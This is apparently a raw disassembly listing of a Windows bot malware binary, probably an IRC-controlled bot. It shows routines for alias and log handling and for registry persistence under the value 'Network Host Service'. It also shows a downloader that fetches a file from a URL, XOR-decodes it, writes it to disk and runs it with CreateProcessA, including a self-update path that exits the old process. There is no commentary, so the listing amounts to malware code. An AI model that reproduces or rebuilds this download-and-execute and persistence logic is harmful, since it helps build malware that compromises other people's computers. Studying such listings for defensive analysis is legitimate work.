		cmp	eax, 1
		pop	ecx
		jnz	short loc_401B12
		push	offset dword_42E6A0
		call	ds:dword_41F024	; RtlDeleteCriticalSection


loc_401B12:				; CODE XREF: sub_4018D1+234j
		push	[ebp+74h+var_AC]
		call	sub_4111AE
		pop	ecx
		push	ebx
		call	ds:dword_41F014	; ExitThread
		int	3		; Trap to Debugger
sub_4018D1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401B23	proc near		; CODE XREF: sub_4078FA+32B1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	edi, offset dword_479030


loc_401B2D:				; CODE XREF: sub_401B23+4Dj
		cmp	byte ptr [edi],	0
		jz	short loc_401B74
		mov	esi, [esp+0Ch+arg_0]
		mov	eax, edi


loc_401B38:				; CODE XREF: sub_401B23+31j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_401B5A
		test	cl, cl
		jz	short loc_401B56
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_401B5A
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_401B38


loc_401B56:				; CODE XREF: sub_401B23+1Fj
		xor	eax, eax
		jmp	short loc_401B5F
; ---------------------------------------------------------------------------


loc_401B5A:				; CODE XREF: sub_401B23+1Bj
					; sub_401B23+29j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_401B5F:				; CODE XREF: sub_401B23+35j
		test	eax, eax
		jz	short loc_401B74
		add	edi, 0B8h
		inc	ebx
		cmp	edi, offset dword_479BB0
		jl	short loc_401B2D
		jmp	short loc_401BB5
; ---------------------------------------------------------------------------


loc_401B74:				; CODE XREF: sub_401B23+Dj
					; sub_401B23+3Ej
		mov	esi, ebx
		imul	esi, 0B8h
		push	2Eh
		pop	ecx
		push	17h
		push	[esp+10h+arg_0]
		lea	edx, dword_479030[esi]
		xor	eax, eax
		mov	edi, edx
		push	edx
		rep stosd
		call	sub_412C40
		push	9Fh
		push	[esp+1Ch+arg_4]
		lea	eax, dword_479048[esi]
		push	eax
		call	sub_412C40
		add	esp, 18h
		inc	dword_42B280


loc_401BB5:				; CODE XREF: sub_401B23+4Fj
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_401B23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401BBB	proc near		; CODE XREF: sub_4078FA+461Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aAliasList ; "-[Alias List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_479030


loc_401BE5:				; CODE XREF: sub_401BBB+72j
		cmp	byte ptr [esi],	0
		jz	short loc_401C20
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset aD_SS	; "%d. %s = %s"
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_412E0D
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 2Ch


loc_401C20:				; CODE XREF: sub_401BBB+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_479BB0
		jl	short loc_401BE5
		pop	edi
		pop	esi
		leave
		retn
sub_401BBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401C33	proc near		; CODE XREF: sub_401000+BEp
					; sub_4010CA+6Dp ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_41F028	; GetLocalTime
		mov	ebx, offset dword_432FB8
		mov	edi, 80h
		mov	esi, offset dword_42EFB8


loc_401C55:				; CODE XREF: sub_401C33+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_401C6C
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_412C40
		add	esp, 0Ch


loc_401C6C:				; CODE XREF: sub_401C33+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_401C55
		push	[ebp+arg_0]
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_412E0D
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401C33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401CA7	proc near		; CODE XREF: sub_40779B+A4p
					; sub_4078FA:loc_40A8FBp ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_80]
		push	80h
		push	eax
		call	sub_412E64
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_401C33
		add	esp, 14h
		leave
		retn
sub_401CA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_401CD3	proc near		; CODE XREF: sub_4078FA+4512p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_42EFB8
		xor	ecx, ecx


loc_401CDA:				; CODE XREF: sub_401CD3+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_432FB8
		jl	short loc_401CDA
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset aLogsCleared_ ; "[LOGS]: Cleared."
		jnz	short loc_401D0A
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_401D0A:				; CODE XREF: sub_401CD3+1Fj
		push	esi
		call	sub_401C33
		pop	ecx
		pop	esi
		retn
sub_401CD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D13	proc near		; CODE XREF: .text:0041296Dp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_42EFB8


loc_401D19:				; CODE XREF: sub_401D13+27j
		cmp	byte ptr [esi],	0
		jz	short loc_401D2E
		push	[esp+4+arg_0]
		push	esi
		call	sub_405AD5
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_401D40


loc_401D2E:				; CODE XREF: sub_401D13+9j
		add	esi, 80h
		cmp	esi, offset dword_432FB8
		jl	short loc_401D19
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_401D40:				; CODE XREF: sub_401D13+19j
		xor	eax, eax
		inc	eax
		pop	esi
		retn
sub_401D13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D45	proc near		; DATA XREF: sub_4078FA+45C9o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		rep movsd
		xor	edi, edi
		xor	edx, edx
		inc	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_401D98
		push	edx
		push	[ebp+var_14]
		lea	eax, [ebp+var_118]
		push	offset aLogBegin ; "[LOG]: Begin"
		push	eax
		push	[ebp+var_11C]
		call	sub_4045DD
		add	esp, 14h


loc_401D98:				; CODE XREF: sub_401D45+33j
		cmp	[ebp+var_98], 0
		jz	short loc_401DB8
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_412F42
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_401DB8
		mov	[ebp+var_8], eax


loc_401DB8:				; CODE XREF: sub_401D45+5Aj
					; sub_401D45+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_42EFB8


loc_401DC1:				; CODE XREF: sub_401D45+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_401E1B
		cmp	byte ptr [esi],	0
		jz	short loc_401E0A
		cmp	[ebp+var_98], 0
		jz	short loc_401DF0
		cmp	[ebp+var_4], 0
		jnz	short loc_401DF0
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_405AD5
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_401E0A


loc_401DF0:				; CODE XREF: sub_401D45+90j
					; sub_401D45+96j
		push	edi
		push	[ebp+var_14]
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_4045DD
		add	esp, 14h


loc_401E0A:				; CODE XREF: sub_401D45+87j
					; sub_401D45+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_432FB8
		jl	short loc_401DC1


loc_401E1B:				; CODE XREF: sub_401D45+82j
		lea	eax, [ebp+var_31C]
		push	offset aLogListComplet ; "[LOG]: List complete."
		push	eax
		call	sub_412BB5
		xor	esi, esi
		cmp	[ebp+var_10], esi
		pop	ecx
		pop	ecx
		jnz	short loc_401E55
		push	esi
		push	[ebp+var_14]
		lea	eax, [ebp+var_31C]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_4045DD
		add	esp, 14h


loc_401E55:				; CODE XREF: sub_401D45+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_401C33
		push	[ebp+var_18]
		call	sub_4111AE
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_41F014	; ExitThread
		int	3		; Trap to Debugger
sub_401D45	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E73	proc near		; CODE XREF: sub_405915+1Ep
					; sub_40D1EF+34Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset aNetworkHostSer ; "Network Host Service"


loc_401E83:				; CODE XREF: sub_401E73+6Fj
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	0F003Fh
		push	ebx
		push	ebx
		push	ebx
		push	off_42A354[edi]
		push	dword_42A350[edi]
		call	dword_4334E8	; RegCreateKeyExA
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_401EC9
		lea	edx, [eax+1]


loc_401EAD:				; CODE XREF: sub_401E73+3Fj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_401EAD
		sub	eax, edx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_433484	; RegSetValueExA
		jmp	short loc_401ED3
; ---------------------------------------------------------------------------


loc_401EC9:				; CODE XREF: sub_401E73+35j
		push	esi
		push	[ebp+var_4]
		call	dword_4334DC	; RegDeleteValueA


loc_401ED3:				; CODE XREF: sub_401E73+54j
		push	[ebp+var_4]
		call	dword_43357C	; RegCloseKey
		add	edi, 8
		cmp	edi, 18h
		jb	short loc_401E83
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401E73	endp


; =============== S U B	R O U T	I N E =======================================



sub_401EE9	proc near		; CODE XREF: sub_401F06+109p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_401F05


loc_401EF5:				; CODE XREF: sub_401EE9+1Aj
		mov	dl, byte_42AE5C
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_401EF5

locret_401F05:				; CODE XREF: sub_401EE9+Aj
		retn
sub_401EE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F06	proc near		; DATA XREF: sub_4078FA+287Eo
					; sub_4078FA+2D24o

var_88C		= qword	ptr -88Ch
var_880		= qword	ptr -880h
var_810		= byte ptr -810h
var_610		= byte ptr -610h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_38C		= byte ptr -38Ch
var_28C		= byte ptr -28Ch
var_18C		= byte ptr -18Ch
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_68		= dword	ptr -68h
var_5C		= dword	ptr -5Ch
var_3C		= dword	ptr -3Ch
var_38		= word ptr -38h
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 810h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	ebx
		mov	esi, eax
		mov	ecx, 0EAh
		lea	edi, [ebp+var_410]
		rep movsd
		push	ebx
		xor	esi, esi
		push	ebx
		inc	esi
		mov	[eax+3A4h], esi
		push	ebx
		lea	eax, [ebp+var_38C]
		push	eax
		push	dword_4335E0
		call	dword_4334A8	; InternetOpenUrlA
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jz	loc_4023B5
		push	ebx
		push	ebx
		push	2
		push	ebx
		push	ebx
		push	40000000h
		lea	eax, [ebp+var_28C]
		push	eax
		call	ds:dword_41F03C	; CreateFileA
		cmp	eax, esi
		mov	[ebp+var_10], eax
		jnb	short loc_401FCD
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_610]
		push	offset aDownloadCouldn ; "[DOWNLOAD]: Couldn't open file: %s."
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+var_74], ebx
		jnz	short loc_401FB0
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_4045DD
		add	esp, 14h


loc_401FB0:				; CODE XREF: sub_401F06+88j
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401C33
		push	[ebp+var_8C]
		call	sub_4111AE
		pop	ecx
		jmp	loc_402416
; ---------------------------------------------------------------------------


loc_401FCD:				; CODE XREF: sub_401F06+68j
		xor	esi, esi
		call	ds:dword_41F004	; GetTickCount
		mov	[ebp+var_4], eax


loc_401FD8:				; CODE XREF: sub_401F06+174j
		xor	eax, eax
		mov	ecx, 80h
		lea	edi, [ebp+var_610]
		rep stosd
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		lea	eax, [ebp+var_610]
		push	eax
		push	[ebp+var_C]
		call	dword_43354C	; InternetReadFile
		cmp	[ebp+var_78], ebx
		jz	short loc_402016
		push	[ebp+arg_0]
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401EE9
		pop	ecx
		pop	ecx


loc_402016:				; CODE XREF: sub_401F06+FDj
		push	ebx
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_610]
		push	eax
		push	[ebp+var_10]
		call	ds:dword_41F038	; WriteFile
		add	esi, [ebp+arg_0]
		cmp	[ebp+var_80], ebx
		jz	short loc_40203B
		cmp	esi, [ebp+var_80]
		ja	short loc_402080


loc_40203B:				; CODE XREF: sub_401F06+12Ej
		mov	eax, esi
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_38C]
		push	eax
		mov	eax, [ebp+var_8C]
		imul	eax, 234h
		add	eax, offset dword_434138
		cmp	[ebp+var_88], 1
		jz	short loc_402069
		push	offset aDownloadFileDo ; "[DOWNLOAD]: File download: %s	(%dKB tra"...
		jmp	short loc_40206E
; ---------------------------------------------------------------------------


loc_402069:				; CODE XREF: sub_401F06+15Aj
		push	offset aDownloadUpdate ; "[DOWNLOAD]: Update: %s (%dKB transferre"...


loc_40206E:				; CODE XREF: sub_401F06+161j
		push	eax
		call	sub_412BB5
		add	esp, 10h
		cmp	[ebp+arg_0], ebx
		ja	loc_401FD8


loc_402080:				; CODE XREF: sub_401F06+133j
		cmp	[ebp+var_80], ebx
		mov	[ebp+var_8], 1
		jz	short loc_4020D5
		cmp	esi, [ebp+var_80]
		jz	short loc_4020D5
		push	[ebp+var_80]
		lea	eax, [ebp+var_610]
		push	esi
		push	offset aDownloadFilesi ; "[DOWNLOAD]: Filesize is incorrect: (%d "...
		push	eax
		mov	[ebp+var_8], ebx
		call	sub_412BB5
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_4045DD
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401C33
		add	esp, 28h


loc_4020D5:				; CODE XREF: sub_401F06+184j
					; sub_401F06+189j
		call	ds:dword_41F004	; GetTickCount
		sub	eax, [ebp+var_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		push	[ebp+var_10]
		mov	ecx, eax
		inc	ecx
		mov	eax, esi
		div	ecx
		mov	edi, eax
		call	ds:dword_41F034	; CloseHandle
		cmp	[ebp+var_8], ebx
		jz	loc_402402
		cmp	[ebp+var_88], 1
		jz	loc_4022C6
		test	edi, edi
		mov	[ebp+var_4], edi
		fild	[ebp+var_4]
		jge	short loc_402121
		fadd	ds:dbl_41FAD8


loc_402121:				; CODE XREF: sub_401F06+213j
		test	esi, esi
		fmul	ds:dbl_41FAD0
		push	ecx
		push	ecx
		fstp	[esp+880h+var_880]
		lea	eax, [ebp+var_28C]
		mov	[ebp+var_4], esi
		fild	[ebp+var_4]
		push	eax
		jge	short loc_402143
		fadd	ds:dbl_41FAD8


loc_402143:				; CODE XREF: sub_401F06+235j
		fmul	ds:dbl_41FAD0
		push	ecx
		push	ecx
		lea	eax, [ebp+var_610]
		fstp	[esp+88Ch+var_88C]
		push	offset aDownloadDownlo ; "[DOWNLOAD]: Downloaded %.1f KB to %s @ "...
		push	eax
		call	sub_412BB5
		add	esp, 1Ch
		cmp	[ebp+var_74], ebx
		jnz	short loc_402187
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_4045DD
		add	esp, 14h


loc_402187:				; CODE XREF: sub_401F06+25Fj
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401C33
		cmp	[ebp+var_84], 1
		pop	ecx
		jnz	loc_402402
		cmp	[ebp+var_74], ebx
		jnz	short loc_4021F1
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_610]
		push	offset aDownloadOpenni ; "[DOWNLOAD]: Openning:	%s %s."
		push	eax
		call	sub_412BB5
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_4045DD
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401C33
		add	esp, 28h


loc_4021F1:				; CODE XREF: sub_401F06+29Ej
		xor	eax, eax
		lea	edi, [ebp+var_24]
		stosd
		stosd
		stosd
		stosd
		push	11h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_68]
		rep stosd
		mov	ecx, 80h
		lea	edi, [ebp+var_810]
		mov	[ebp+var_5C], (offset asc_41FA74+2)
		mov	[ebp+var_68], 44h
		mov	[ebp+var_3C], 1
		mov	[ebp+var_38], bx
		rep stosd


loc_40222A:				; CODE XREF: sub_401F06+335j
		mov	cl, [ebp+eax+var_28C]
		mov	[ebp+eax+var_810], cl
		inc	eax
		cmp	cl, bl
		jnz	short loc_40222A
		lea	edi, [ebp+var_810]
		dec	edi


loc_402244:				; CODE XREF: sub_401F06+344j
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jnz	short loc_402244
		mov	esi, offset asc_41FA74 ; " "
		lea	eax, [ebp+var_18C]
		movsw
		mov	edx, eax


loc_40225B:				; CODE XREF: sub_401F06+35Aj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_40225B
		lea	edi, [ebp+var_810]
		sub	eax, edx
		dec	edi


loc_40226B:				; CODE XREF: sub_401F06+36Bj
		mov	cl, [edi+1]
		inc	edi
		cmp	cl, bl
		jnz	short loc_40226B
		mov	ecx, eax
		shr	ecx, 2
		mov	esi, edx
		rep movsd
		mov	ecx, eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	ebx
		push	ebx
		push	30h
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_810]
		push	eax
		and	ecx, 3
		push	ebx
		rep movsb
		call	ds:dword_41F030	; CreateProcessA
		cmp	eax, 1
		lea	eax, [ebp+var_810]
		push	eax
		lea	eax, [ebp+var_610]
		jnz	short loc_4022BC
		push	offset aDownloadApplic ; "[DOWNLOAD]: Application succesfully exe"...
		jmp	loc_4023C7
; ---------------------------------------------------------------------------


loc_4022BC:				; CODE XREF: sub_401F06+3AAj
		push	offset aDownloadExecut ; "[DOWNLOAD]: Execution	failed:	Error exe"...
		jmp	loc_4023C7
; ---------------------------------------------------------------------------


loc_4022C6:				; CODE XREF: sub_401F06+205j
		test	edi, edi
		mov	[ebp+var_4], edi
		fild	[ebp+var_4]
		jge	short loc_4022D6
		fadd	ds:dbl_41FAD8


loc_4022D6:				; CODE XREF: sub_401F06+3C8j
		test	esi, esi
		fmul	ds:dbl_41FAD0
		push	ecx
		push	ecx
		fstp	[esp+880h+var_880]
		lea	eax, [ebp+var_28C]
		mov	[ebp+var_4], esi
		fild	[ebp+var_4]
		push	eax
		jge	short loc_4022F8
		fadd	ds:dbl_41FAD8


loc_4022F8:				; CODE XREF: sub_401F06+3EAj
		fmul	ds:dbl_41FAD0
		push	ecx
		push	ecx
		lea	eax, [ebp+var_610]
		fstp	[esp+88Ch+var_88C]
		push	offset aDownloadDown_0 ; "[DOWNLOAD]: Downloaded %.1fKB	to %s @	%"...
		push	eax
		call	sub_412BB5
		add	esp, 1Ch
		cmp	[ebp+var_74], ebx
		jnz	short loc_40233C
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_4045DD
		add	esp, 14h


loc_40233C:				; CODE XREF: sub_401F06+414j
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401C33
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_24]
		stosd
		stosd
		push	11h
		stosd
		pop	ecx
		stosd
		xor	eax, eax
		lea	edi, [ebp+var_68]
		rep stosd
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	ebx
		push	ebx
		push	30h
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_28C]
		xor	esi, esi
		push	eax
		inc	esi
		push	ebx
		mov	[ebp+var_5C], (offset asc_41FA74+2)
		mov	[ebp+var_68], 44h
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], bx
		call	ds:dword_41F030	; CreateProcessA
		cmp	eax, esi
		jnz	short loc_4023A7
		call	dword_4335B8	; WSACleanup
		call	sub_405915
		push	ebx
		call	ds:dword_41F02C	; ExitProcess


loc_4023A7:				; CODE XREF: sub_401F06+48Dj
		lea	eax, [ebp+var_28C]
		push	eax
		push	offset aDownloadUpda_0 ; "[DOWNLOAD]: Update failed: Error execut"...
		jmp	short loc_4023C1
; ---------------------------------------------------------------------------


loc_4023B5:				; CODE XREF: sub_401F06+45j
		lea	eax, [ebp+var_38C]
		push	eax
		push	offset aDownloadBadUrl ; "[DOWNLOAD]: Bad URL, or DNS Error: %s."


loc_4023C1:				; CODE XREF: sub_401F06+4ADj
		lea	eax, [ebp+var_610]


loc_4023C7:				; CODE XREF: sub_401F06+3B1j
					; sub_401F06+3BBj
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+var_74], ebx
		jnz	short loc_4023F5
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_4045DD
		add	esp, 14h


loc_4023F5:				; CODE XREF: sub_401F06+4CDj
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401C33
		pop	ecx


loc_402402:				; CODE XREF: sub_401F06+1F8j
					; sub_401F06+295j
		push	[ebp+var_C]
		call	dword_4334FC	; InternetCloseHandle
		push	[ebp+var_8C]
		call	sub_4111AE


loc_402416:				; CODE XREF: sub_401F06+C2j
		pop	ecx
		push	ebx
		call	ds:dword_41F014	; ExitThread
		int	3		; Trap to Debugger
sub_401F06	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40241F	proc near		; CODE XREF: sub_4078FA+4C27p
					; sub_4078FA+4D7Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4134AF
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40241F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402439	proc near		; CODE XREF: sub_40253D+66p
					; sub_40253D+97p ...

var_40		= byte ptr -40h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		and	[ebp+var_4], 0
		push	esi
		push	edi
		push	0Ch
		mov	esi, offset dword_432FB8
		pop	ecx
		xor	eax, eax
		mov	edi, esi
		rep stosd
		stosw
		lea	edi, [ebp+var_40]
		push	ebx


loc_402459:				; CODE XREF: sub_402439+50j
					; sub_402439+56j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_413500
		add	cl, 30h
		mov	[edi], cl
		inc	edi
		mov	[ebp+arg_0], eax
		or	eax, edx
		mov	[ebp+var_8], ebx
		mov	[ebp+arg_4], edx
		jz	short loc_402491
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		push	3
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jnz	short loc_402459
		mov	byte ptr [edi],	2Ch
		inc	edi
		jmp	short loc_402459
; ---------------------------------------------------------------------------


loc_402491:				; CODE XREF: sub_402439+40j
		mov	eax, esi
		pop	ebx
		jmp	short loc_40249B
; ---------------------------------------------------------------------------


loc_402496:				; CODE XREF: sub_402439+68j
		mov	cl, [edi]
		mov	[eax], cl
		inc	eax


loc_40249B:				; CODE XREF: sub_402439+5Bj
		dec	edi
		lea	ecx, [ebp+var_40]
		cmp	edi, ecx
		jnb	short loc_402496
		and	byte ptr [eax],	0
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_402439	endp


; =============== S U B	R O U T	I N E =======================================



sub_4024AC	proc near		; CODE XREF: sub_402658+3Ep
					; sub_402658+74p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43342C	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_4024EF
		dec	eax
		jz	short loc_4024E9
		dec	eax
		dec	eax
		jz	short loc_4024E3
		dec	eax
		jz	short loc_4024DD
		dec	eax
		jz	short loc_4024D7
		dec	eax
		jz	short loc_4024D1
		mov	eax, offset a?	; "?"
		retn
; ---------------------------------------------------------------------------


loc_4024D1:				; CODE XREF: sub_4024AC+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------


loc_4024D7:				; CODE XREF: sub_4024AC+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4024DD:				; CODE XREF: sub_4024AC+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4024E3:				; CODE XREF: sub_4024AC+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4024E9:				; CODE XREF: sub_4024AC+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4024EF:				; CODE XREF: sub_4024AC+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4024AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024F5	proc near		; CODE XREF: sub_40253D+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
